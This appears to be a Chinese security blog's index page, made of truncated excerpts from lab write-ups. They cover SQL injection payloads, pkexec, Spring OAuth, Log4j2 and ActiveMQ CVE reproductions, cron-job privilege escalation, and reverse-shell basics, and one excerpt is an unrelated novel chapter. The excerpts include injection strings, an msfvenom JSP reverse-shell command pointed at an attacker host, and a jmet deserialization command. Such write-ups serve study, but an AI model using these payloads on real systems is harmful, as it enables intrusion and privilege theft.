SQL注入基本命令记录
0x01 sql注入命令记录包含union注入、bool盲注和时间盲注。
0x02 基于union的sql注入
首先判断注入点是数字型还是字符型。
payload: 数字型:and 1=1 / and 1=2 后面跟着截断符号(– ss)
字符型(单引号闭合):' and '1'='1 / ' and '1'='2,或者 ' and '1'='1'-- ss / ' and '1' = '2'-- ss
判断查询列数(以字符型单引号为例)
payload: -1' order by 4-- ss发现页面错误,但输入3的时候不报错,说明没有4列,只有3列。
判断显示位置。
payload: -1' union select '1','2','3'-- ss
【让第一行查询的结果是空集, 即union左边的 select子句直询结果为空(所以设 ...
pkexec本地权限提升漏洞研究和复现(CVE-2021-4034)
0x01 前言Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。
影响版本:影响自 2009 年 5 月第一个版本以来的所有 pkexec 版本
0x02 原理研究
首先我们来看一下pkexec 的 main() 函数的开头处理命令行参数的部分。
上面这段代码中main函数中的两个参数,argc和argv,argc表示argv这个双重指针指向的范围内参数的个数。也就是说,如果argv[0]指向一个null,argc的值就为0。那么:
在第 534 行,整数 n 永久设置为 1;
在第 610 行,path就是从argv[1] 的值,也就是横向指针,这个指针可能指向某一个值;
至于指向什么值呢,我们先来研究下execve() 这个函数:
execve()函数
int execve(const char *filename, char *const argv[], char *con ...
vulhub-spring-cve-2016-4977
0x01 前言Spring Security OAuth是为Spring框架提供安全认证支持的一个模块。在用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
影响版本:Spring Security OAuth 2.0.0 到 2.0.9 和 1.0.0 到 1.0.5
描述:在使用 Spring Security OAuth 2.0.0 到 2.0.9 和 1.0.0 到 1.0.5 中的白标签视图处理授权请求时,response_type(不止这个参数可以) 参数值作为 Spring SpEL 执行,这使得恶意用户能够通过制作触发远程代码执行response_type 的值。
0x02 环境准备利用vulhub提供的环境进行复现。
首先进入vulhub对应目录执行docker-compose up -d启动镜像。
nmap扫描查看服务是否启动。输入:nmap -Pn -sS -sC -sV -T5 -n -p 1-65535 192.168.xx.xx。
0x03 漏洞复现
根据vulhub提供的路径,我们 ...
Log4j2远程命令执行漏洞复现-CVE-2021-44228
0x01 前言近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。0x02 漏洞描述Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现Apache Log4j 2.15.0-rc1版本存在漏洞绕过,请及时更新至Apache Log4j 2.15.0最新版本。
0x03 环境搭建本文采用本地搭建vulfocus漏洞平台的方式进行测试,如果不感兴趣可自行跳过本小节。
当然可以使用在线vulfocus。
注意:使用在线vulfocus利用此漏洞时,如果想要反弹shell,则需要一个公网ip。
首先在虚拟机中拉取vulfocus镜像,作 ...
博主随笔文学1-青山
第一章 青山 苍茫大地,群山逶迤,山与山之间云雾缭绕。这是一片充满灵气的大地,亦像某位云游四海,放荡不羁的闲云野鹤提笔即兴挥洒下波澜壮阔之图卷。
在这幅图卷的某个不起眼的角落里有一座不高不低的青山,此山峰生有一泓清泉,泉水穿过树林,绕过巨石,顺势而下,直达半山腰的一条溪流,溪水清澈见底,夹带着丝丝水雾一路环绕向下,流过大半个青山方止。
而故事就是从青山脚下溪水旁的一片不大不小的竹林里说起。
“娘,你快来追我呀。”孩童稚嫩的声音隐约从竹林里传出,一个身着红肚兜,满脸奶气的小男童光着小脚丫左一脚右一脚地踩在地上,不时溅起几片泛黄的树叶,那粉嘟嘟的小脸因开心而涨的通红。
小童从一个竹子跑到另一个竹子,速度却是不慢,那晃晃悠悠的小身板就像不倒翁一样,借着竹子一左一右滑步向前,在两者之间竟产生了一种微妙的平衡。
“尘儿,你慢点跑,小心摔着!”竹林外,溪水边上站着一位身着淡绿色罗裙的女子,女子左手边挽着一个竹篮,篮子里放了几根深色的竹笋。溪水里倒映着她那张清瘦姣好的面容,岁月似乎不 ...
Linux_PE_定时任务之curl提权
0x01 前言笔者简单记录下学习靶机过程中遇到的提权问题,本次提权为定时任务提权方法中其中一种–curl提权。
0x02 pspy监听定时任务一、传输pspy(见文末参考)并运行,检测定时任务。
发现/home/floris/admin-area/目录下的input文件定时被root以curl的方式执行。注意:-K 为 curl 命令指定一个配置文件,curl 会从该文件中读取内容并作为自己的运行参数。二、进入此文件查看权限。可读可写,好说。0x03 恶意注入一、我们输入man curl查看命令参数详解,发现在curl执行的文件里加上如下两行之后即可获取对方机器中的数据,并且替换给自己。
1、output参数作用为把输出写到该文件中。2、user-agent参数作用为设置用户代理发送给服务器(这里使用只是curl的配置文件通用设置,使用该参数绕过服务器的检测)。二、通过覆盖sudoers文件给普通用户配置sudo权限。将kali机器上的sudoers拷贝到某一目录下并修改内容如下(这里floris是获取到靶机的普通用户)。
配置floris用户可临时以root身份执行系统中任何命令。这 ...
Linux_PE_定时任务之配置777权限提权
0x01 前言笔者简单记录下学习靶机过程中遇到的提权问题,本次提权为定时任务提权方法中其中一种–配置777权限提权。
0x02 获取普通用户权限在获取到反弹shell之后,我们得到了www-data用户的shell,这时候我们需要将其横向提取到某个普通用户的权限。一、我们在/var/www/html下的moodle目录下发现config.php里面有数据库账号密码硬编码。
二、尝试登录mysql数据库并枚举信息发现md5加密的密码。1、进入moodle数据库。
2、展示moodle数据库中的表。
3、展示mdl_user表的详细数据。
4、查看用户名密码。
5、利用hashcat破解并进入用户giovannibak目录。
0x03 定时任务一、利用pspy查看定时任务。(使用方式见文末参考链接)
发现有一任务以root身份定时执行某个shell脚本文件(backup.sh)。二、进入查看此文件内容。(当然有可读权限无可写权限)
通过此内容,发现root对/home/giovanni/work目录下所有文件赋予了777权限,这样怎么提权已经很明了了,这里我们使用建立软连接的方式赋予/et ...
vulhub-ActiveMQ-cve-2016-3088漏洞复现!
0x01 前言简单对ActiveMQ-cve-2016-3088任意文件上传漏洞进行一个复现。
懂得都懂。
第一步:环境准备1.1 在vulhub上开启ActiveMQ_CVE-2016-3088环境。这里不多做赘述。第二步:漏洞利用1.1 在攻击机器kali上制作jsp反弹shell。 输入如下:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.xx.xx(这里填写攻击机器ip) LPORT=8888 -f raw > shell.jsp1.2 之后利用burpsuite抓取8161端口的包,修改包http的方法为put并且将上述shell.jsp里面的内容粘贴到里面,如下图:
1.3 使用move方法移动到可执行目录之前,先确定可上传的执行文件路径。
确定可上传路径为/opt/activemq/webapps/api/。
1.4 移动文件
1.5 在攻击机器开启监听8888端口,访问http://yourip:8186/api,可以看到上传的s.jsp文件。
1.6 点击s.jsp,攻击机收到 ...
vulhub_ActiveMQ-cve-2015-5254漏洞复现!
0x01 前言简单对ActiveMQ-cve-2015-5254反序列化漏洞进行一个复现。
懂得都懂。
第一步:环境准备1.1 在vulhub上开启ActiveMQ_CVE-2015-5254环境。
1.2 浏览器访问ip(自己本地ip):61616。
环境搭建成功。1.3 可以namp扫描一下,查看端口开启了哪些服务。
服务开启。第二步:漏洞利用2.1 输入:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/success” -Yp ROME 192.168.xx.xx(自己ip) 61616
(这里java11可能会执行不成功,可以安装java8,链接在文章末尾。)2.2 此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
2.3 点击队列消息,触发命令执行,进入docker查看。
发现命令执行成功。2.4 制作反弹shell,这里需要 ...
转载-浅析反弹shell原理与方法
0x01 前言做了白嫖怪很久了,对于反弹shell的方法,当然是google一下,百度一下就可以搞定的,找个小本本记下来,用的时候copy一下就可以的,当然也就不知其所以然了。
所以今天抽空总结一下linux反弹shell的原理,弄明白反弹的语句究竟在干什么!!!XD
0x02 数据流重定向概念先来复习下linux文件描述符的概念,其实文件描述符可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,linux启动的时候会默认打开三个文件描述符:0,1,2,下面细细道来。
通常我们执行一个命令,流程如下图所示:
我们运行一个命令,这个命令可能由文件读入数据,经过处理后将结果输出到屏幕上,结果有可能是标准输出或者标准错误输出。
标准输出指的是:命令运行所回传的正确的信息,而标准错误输出可理解为:命令运行失败后,所回传的错误信息。
不管正确错误的数据都被输出到屏幕上,所以我们可以通过重定向的方法将这两股数据分开,这样看起来就会比较有条理XD, 需要用到的重定向的特殊字符如下:
标准输入 (stdin) :代码为 0 ,使用 < 或 < ...